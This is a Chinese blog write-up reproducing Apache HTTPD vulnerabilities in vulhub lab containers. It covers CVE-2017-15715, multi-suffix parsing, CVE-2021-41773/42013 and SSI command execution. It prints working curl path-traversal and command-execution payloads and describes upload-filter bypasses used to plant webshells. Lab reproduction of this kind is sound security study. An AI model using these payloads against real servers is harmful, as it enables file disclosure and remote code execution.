【vulhub靶场】Apache 中间件漏洞复现

【vulhub靶场】Apache 中间件漏洞复现

  • 一、Apache HTTPD 换行解析漏洞(CVE-2017-15715)
    • 1. 漏洞详情
    • 2. 影响版本
    • 3. 漏洞复现
  • 二、Apache多后缀解析漏洞(apache_parsing_vulnerability)
    • 1. 漏洞详情
    • 2. 漏洞复现
  • 三、Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)
    • 1. 漏洞详情
    • 2. 影响版本
    • 3. 漏洞复现
  • 四、Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
    • 1. 漏洞详情
    • 2. 影响版本
    • 3. 漏洞复现
  • 五、Apache SSI 远程命令执行漏洞
    • 1. 漏洞详情
    • 2. 漏洞复现

一、Apache HTTPD 换行解析漏洞(CVE-2017-15715)

1. 漏洞详情

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。 其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。1.php\x0A

2. 影响版本

Apache  2.4.0~2.4.29

3. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/CVE-2017-15715# docker-compose up -d
root@Fly:~/vulhub/httpd/CVE-2017-15715# docker-compose build

启动后访问:http://192.168.111.146:8080
在这里插入图片描述
上传一个木马文件2.php,可见上传失败。
在这里插入图片描述
在1.php后面插入一个(注意,不能是,只能是一个),不再拦截:\x0A\x0D\x0A\x0A,可以看到上传成功!
在这里插入图片描述

二、Apache多后缀解析漏洞(apache_parsing_vulnerability)

1. 漏洞详情

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。在有多个后缀的情况下,只要一个文件含有后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

2. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/apache_parsing_vulnerability# docker-compose up -d

启动后访问:http://192.168.111.146:8080
在这里插入图片描述
上传php文件进行抓包,由于设置了白名单,在上传php后缀文件后,会被拦截,无法正常进行上传。
在这里插入图片描述
白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。
在这里插入图片描述
由此可见,上传成功!

三、Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)

1. 漏洞详情

Apache HTTP Server 2.4.49 中的路径规范化所做的更改中发现一个缺陷。攻击者可利用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。

如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程执行代码。

2. 影响版本

Apache HTTP Server 2.4.49

3. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/CVE-2021-41773# docker-compose up -d
root@Fly:~/vulhub/httpd/CVE-2021-41773# docker-compose build

启动后访问:http://192.168.111.146:8080
在这里插入图片描述

┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --path-as-is http://192.168.111.146:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述
已成功披露:/etc/passwd
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许执行任意命令:

┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --data "echo;id" 'http://192.168.111.146:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

在这里插入图片描述

四、Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)

1. 漏洞详情

CVE-2021-42013 是由 CVE-2021-41773 修复不完整所致的漏洞,攻击者可能使用路径遍历攻击将 URL 映射到类似别名指令配置的目录之外的文件。

2. 影响版本

Apache HTTP Server 2.4.49 和 2.4.50

3. 漏洞复现

开启靶机,运行漏洞环境

root@Fly:~/vulhub/httpd/CVE-2021-42013# docker-compose build
root@Fly:~/vulhub/httpd/CVE-2021-42013# docker-compose up -d

启动后访问:http://192.168.111.146:8080

在这里插入图片描述
Apache HTTP Server 2.4.50 修补了之前的 CVE-2021-41773 有效负载,但不完整。
用于绕过补丁(请注意,必须是现有目录):.%2e替换为.%%32%65

─(kali㉿kali)-[~/Desktop]
└─$ curl -v --path-as-is http://192.168.111.146:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在这里插入图片描述
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许执行任意命令:

┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --data "echo;id" 'http://192.168.111.146:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

在这里插入图片描述

五、Apache SSI 远程命令执行漏洞

1. 漏洞详情

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

2. 漏洞复现

开启靶机,运行漏洞环境(支持SSI与CGI的Apache服务器)

root@Fly:~/vulhub/httpd/ssi-rce# docker-compose build
root@Fly:~/vulhub/httpd/ssi-rce# docker-compose up -d

启动后访问:http://192.168.111.146:8080
在这里插入图片描述
正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:
在这里插入图片描述
成功上传,然后访问shell.shtml,可见命令已成功执行:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/9735.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度揭秘MySQL事务机制

在开发Java应用程序时,数据库事务的处理是确保数据完整性和一致性的关键所在。MySQL作为广泛使用的数据库系统,其事务机制对于开发者来说至关重要。本文将深入解析MySQL的事务机制,并通过Java代码示例展示如何在应用程序中正确地使用和管理事…

Spring AOP怎么聊(通俗易懂)

将一些通用的逻辑集中实现,然后通过AOP进行逻辑的切入,减少了零散的碎片化代码,提高了系统的可维护性。 具体是含义可以理解为︰通过代理的方式,面向切面编程,在调用想要的对象方法时候,进行拦截处理&…

SSL/TLS 协议

目录 概述 TLS 握手协议:建立安全连接的基础 TLS 握手流程:建立安全通道的关键步骤 TLS 记录协议:确保数据完整性和机密性 验证分析与 TLS 协议:确保服务器身份和数据完整性 TLS 与 SSL 的差异:演变和改进 结论 …

企业数字化转型走向平台化运营会经历哪些阶段?

蚓链实践总结企业数字化转型走向平台化运营通常会经历以下几个阶段: 1. 规划与准备阶段:明确转型目标和战略,评估现有业务和技术状况,制定转型计划。 2. 基础建设阶段:搭建数字化基础设施,包括云平台、数…

【Python爬虫实战入门】:教你一个程序实现PPT模版自由

文章目录 💥一、PPT模版爬取🔥1.1 第一个爬虫🚲1. 获取下载页面链接 ❤️1.2 第二个爬虫🚲1.3 第三个爬虫🎈2. 文件保存 ❤️1.4 翻页处理 🔥二、完整代码 🔥🔥🔥 Pytho…

【Linux】简易进度条的实现

🎉博主首页: 有趣的中国人 🎉专栏首页: Linux 🎉其它专栏: C初阶 | C进阶 | 初阶数据结构 小伙伴们大家好,本片文章将会讲解Linux中进度条的实现的相关内容。 如果看到最后您觉得这篇文章写得…

深度学习论文: LightGlue: Local Feature Matching at Light Speed

深度学习论文: LightGlue: Local Feature Matching at Light Speed LightGlue: Local Feature Matching at Light Speed PDF: https://arxiv.org/pdf/2306.13643 PyTorch代码: https://github.com/shanglianlm0525/CvPytorch PyTorch代码: https://github.com/shanglianlm0525/…

AI算法-高数2-导数定义和公式

P14 2.1 导数的定义(一):2.1 导数的定义_哔哩哔哩_bilibili 导数定义: 导数公式: P15 2.1 导数的定义(二):2.1 导数的定义(二)_哔哩哔哩_bilibili [a,b]可导,a的端点:右可导,b端点&…

vim工作模式

vim 一、vim常用的工作模式 前言 这玩意命令太多,记得几个常用即可命令模式 命令模式:使用vi(vim)打开某个文件的时候默认进入的模式就是命令模式。 这种模式下最基础的功能就是上下左右键,还可以使用按键组合的方…

python学习之argparse模块

1.介绍 argparse是python用于解析命令行参数和选项的标准模块,用于代替已经过时的optparse模块。argparse模块的作用是用于解析命令行参数。 我们很多时候,需要用到解析命令行参数的程序。 我们常常可以把argparse的使用简化成下面四个步骤 2.使用步骤…

利用信息差:优惠券分享和变现思路

标题:“利用信息差:优惠券分享和变现思路” 在如今的电商时代,优惠券已成为吸引消费者的重要利器。然而,许多人并不知道,优惠券不仅可以用来省钱购物,还可以成为一种赚取收益的利器。本文将探讨如何利用信…

Leetcode—138. 随机链表的复制【中等】(cend函数)

2024每日刷题(129) Leetcode—138. 随机链表的复制 实现代码 /* // Definition for a Node. class Node { public:int val;Node* next;Node* random;Node(int _val) {val _val;next NULL;random NULL;} }; */class Solution { public:Node* copyRan…

西藏在线教育系统哪家好,培训机构为什么讲师流动大?该如何留住讲师?

教育机构的核心竞争力其实还是产品竞争力,老师讲什么,这是教研团队在做的;老师如何讲,这是师资团队来做的;如何交付给学生,这是产品团队来做的,如果你有在线的团队的话,三个部分共同构成了整个产品&#xf…

Spring JdbcTemplate使用临时表+事务会话管理实现数据新增、查询及自动清除功能

需求描述: 由于某些情况下当查询过滤参数过大时,执行sql由于参数过大而报错,此时 需要使用临时表的方式,即 当参数超过某个阀值(如 1000,可调整)新增一张临时表,将原表 与 该临时表进…

代码随想录算法训练营第六十二天|503.下一个更大元素II、42.接雨水

代码随想录算法训练营第六十二天|503.下一个更大元素II、42.接雨水 503.下一个更大元素II 给定一个循环数组 nums ( nums[nums.length - 1] 的下一个元素是 nums[0] ),返回 nums 中每个元素的 下一个更大元素 。 数字 x 的 下一个更大的元…

第十一篇:操作系统新纪元:智能融合、量子跃迁与虚拟现实的交响曲

操作系统新纪元:智能融合、量子跃迁与虚拟现实的交响曲 1 引言 在数字化的浪潮中,操作系统如同一位智慧的舵手,引领着信息技术的航船穿越波涛汹涌的海洋。随着人工智能、物联网、量子计算等前沿技术的蓬勃发展,操作系统正站在一个…

Java算法-力扣leetcode-14. 最长公共前缀

14. 最长公共前缀 编写一个函数来查找字符串数组中的最长公共前缀。 如果不存在公共前缀,返回空字符串 ""。 示例 1: 输入: strs ["flower","flow","flight"] 输出: "fl"示…

富士Apeos 2350 NDA复印机报062 360代码故障

故障描述: 富士Apeos 2350 NDA复印机新机器刚拆箱安装,开机正常,自检扫描头一卡一卡的往前动几下就不动了、扫描灯也不亮扫描头也不能正常复位;按机器的复印键直接报062 360代码; 解答: 此代码为扫描故障&a…

PDF高效编辑:一键批量,PDF转图片的快速解决方案

在数字化时代,PDF文件已成为工作和学习中不可或缺的一部分。然而,有时我们可能需要将PDF转换为图片,以便更轻松地编辑、共享或处理。为了满足这一需求,许多高效的PDF编辑工具应运而生,其中“办公提效工具”一键批量PDF…

如何找到高质量的微信群?分享8种适用的方法!

优质的微信群资源,价值越来越高。有些微信群就算在里面你不能发广告,不能宣传自己的产品,但是你通过群里可以获取很多优质的信息资源。 很多专业群,都是不会让发广告,宣传自己的产品。在专业群里面,你只有…